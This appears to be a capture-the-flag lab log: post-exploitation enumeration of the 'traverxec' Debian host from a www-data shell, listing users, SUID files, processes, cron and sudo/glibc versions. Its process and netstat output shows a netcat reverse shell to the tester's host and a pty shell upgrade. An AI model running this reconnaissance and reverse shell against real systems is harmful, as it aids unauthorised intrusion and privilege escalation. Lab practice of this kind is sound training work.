System/Kernel


www-data@traverxec:/usr/bin$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ffe165dc81a64aea2b05beda07aeda8ad71f1e7c, stripped
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
home_url="https://www.debian.org/"
support_url="https://www.debian.org/support"
bug_report_url="https://bugs.debian.org/"

Debian GNU/Linux 10 (buster) 4.19.0-6-amd64 x86_64

Networks


www-data@traverxec:/usr/bin$ arp -a
? (10.10.10.2) at 00:50:56:b9:9d:31 [ether] on eth0
 
www-data@traverxec:/usr/bin$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    301 10.10.10.165:58502      10.10.14.17:9999        ESTABLISHED 928/nc              
tcp        1      0 10.10.10.165:80         10.10.14.17:41608       CLOSE_WAIT  926/bash            
udp        0      0 10.10.10.165:36287      8.8.8.8:53              ESTABLISHED -                   

Users & Groups


www-data@traverxec:/usr/bin$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
total 12K
4.0K drwxr-xr-x 18 root  root  4.0K Sep 16  2022 ..
4.0K drwx--x--x  5 david david 4.0K Oct 25  2019 david
4.0K drwxr-xr-x  3 root  root  4.0K Oct 25  2019 .

david

www-data@traverxec:/usr/bin$ cut -d: -f1 /etc/passwd | xargs -n1 id
cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)

uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

SUIDs


www-data@traverxec:/usr/bin$ find / -perm -04000 -ls -type f 2>/dev/null
    28460    428 -rwsr-xr-x   1 root     root       436552 Oct  6  2019 /usr/lib/openssh/ssh-keysign
    33376     16 -r-sr-xr-x   1 root     root        13628 Nov 12  2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
    34998     16 -r-sr-xr-x   1 root     root        14320 Nov 12  2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
    25064     52 -rwsr-xr--   1 root     messagebus    51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      938     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    32133     36 -rwsr-xr-x   1 root     root          34896 Apr 22  2020 /usr/bin/fusermount
    32850    156 -rwsr-xr-x   1 root     root         157192 Oct 12  2019 /usr/bin/sudo
    11830     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
    11494     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
     6847     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
    11347     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
    11828     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
     6845     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
     6849     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     6844     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn

SGIDs


www-data@traverxec:/usr/bin$ find / -perm -02000 -ls -type f 2>/dev/null
    11692      0 drwxr-sr-x   3 root     systemd-journal       60 sep 17 03:25 /run/log/journal
    11693      0 drwxr-s---   2 root     systemd-journal       80 sep 17 03:25 /run/log/journal/5624ff30811344d09d8b70e04d01925e
    18291      4 drwxrwsr-x   3 root     staff               4096 Sep 16  2022 /usr/local/lib/python3.7
    18292      4 drwxrwsr-x   2 root     staff               4096 Sep 16  2022 /usr/local/lib/python3.7/dist-packages
     8668      4 drwxrwsr-x   4 root     staff               4096 Sep 16  2022 /usr/local/lib/python2.7
    31715      4 drwxrwsr-x   2 root     staff               4096 Sep 16  2022 /usr/local/lib/python2.7/site-packages
    14705      4 drwxrwsr-x   2 root     staff               4096 Sep 16  2022 /usr/local/lib/python2.7/dist-packages
     7669     40 -rwxr-sr-x   1 root     shadow             39616 Feb 14  2019 /usr/sbin/unix_chkpwd
    25279     20 -rwxr-sr-x   1 root     mail               18944 Dec  3  2017 /usr/bin/dotlockfile
     8401     36 -rwxr-sr-x   1 root     tty                34896 Jan 10  2019 /usr/bin/wall
     6846     32 -rwxr-sr-x   1 root     shadow             31000 Jul 27  2018 /usr/bin/expiry
    13528     16 -rwxr-sr-x   1 root     tty                14736 May  4  2018 /usr/bin/bsd-write
    13692     44 -rwxr-sr-x   1 root     crontab            43568 Jun 23  2019 /usr/bin/crontab
     6843     72 -rwxr-sr-x   1 root     shadow             71816 Jul 27  2018 /usr/bin/chage
    28453    316 -rwxr-sr-x   1 root     ssh               321672 Oct  6  2019 /usr/bin/ssh-agent
      194      4 drwxrwsr-x   2 root     staff               4096 May 13  2019 /var/local
      257      4 drwxrwsr-x   2 root     mail                4096 Oct 25  2019 /var/mail

Processes


www-data@traverxec:/usr/bin$ ps -auxwww 
ps -auxwww 
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.9 103796 10004 ?        Ss   03:25   0:01 /sbin/init
root       248  0.0  0.8  32212  8344 ?        Ss   03:25   0:00 /lib/systemd/systemd-journald
root       266  0.0  0.4  21920  4848 ?        Ss   03:25   0:00 /lib/systemd/systemd-udevd
root       411  0.0  1.0  48220 11048 ?        Ss   03:25   0:00 /usr/bin/VGAuthService
root       412  0.3  1.1 122856 12004 ?        Ssl  03:25   0:06 /usr/bin/vmtoolsd
systemd+   413  0.0  0.6  93080  6536 ?        Ssl  03:25   0:00 /lib/systemd/systemd-timesyncd
root       437  0.0  0.2   8476  2764 ?        Ss   03:25   0:00 /usr/sbin/cron -f
root       439  0.0  0.6  19304  6316 ?        Ss   03:25   0:00 /lib/systemd/systemd-logind
message+   440  0.0  0.3   8980  3712 ?        Ss   03:25   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
www-data   442  0.1  0.2   8660  2824 ?        S    03:25   0:02 /usr/local/sbin/nhttpd
root       459  0.0  0.7  15852  7096 ?        Ss   03:25   0:00 /usr/sbin/sshd -D
root       460  0.0  0.1   5612  1656 tty1     Ss+  03:25   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       652  0.1  1.2  69100 12184 ?        S    03:25   0:02 /usr/sbin/vmtoolsd
root       682  0.0  1.0  40280 11076 ?        S    03:25   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
www-data   926  0.0  0.2   3736  2876 ?        S    03:49   0:00 bash
www-data   928  0.0  0.1   2372  1832 ?        S    03:49   0:00 nc 10.10.14.17 9999
www-data   929  0.0  0.0   2388   692 ?        S    03:49   0:00 /bin/sh
www-data   942  0.0  0.8  17176  8484 ?        S    03:52   0:00 python3 -c import pty; pty.spawn("/bin/bash")
www-data   943  0.0  0.3   7192  3492 pts/0    Ss   03:52   0:00 /bin/bash
www-data   987  0.0  0.2  11116  3008 pts/0    R+   03:56   0:00 ps -auxwww

/usr/sbin/cron -f

Cron & Systemd


www-data@traverxec:/usr/bin$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT          LAST                         PASSED  
sun 2023-09-17 06:32:37 EDT  2h 35min left Sun 2023-09-17 03:25:08 EDT  31min ag
sun 2023-09-17 14:49:54 EDT  10h left      Sun 2023-09-17 03:25:08 EDT  31min ag
mon 2023-09-18 00:00:00 EDT  20h left      Sun 2023-09-17 03:25:08 EDT  31min ag
mon 2023-09-18 00:00:00 EDT  20h left      Sun 2023-09-17 03:25:08 EDT  31min ag
mon 2023-09-18 03:40:09 EDT  23h left      Sun 2023-09-17 03:40:09 EDT  16min ag
 
5 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-9/9 (END)

Sudo Version


www-data@traverxec:/usr/bin$ sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

Sudo version 1.8.27

Glibc Version


www-data@traverxec:/usr/bin$ ldd --version
ldd (Debian GLIBC 2.28-10) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Debian GLIBC 2.28-10) 2.28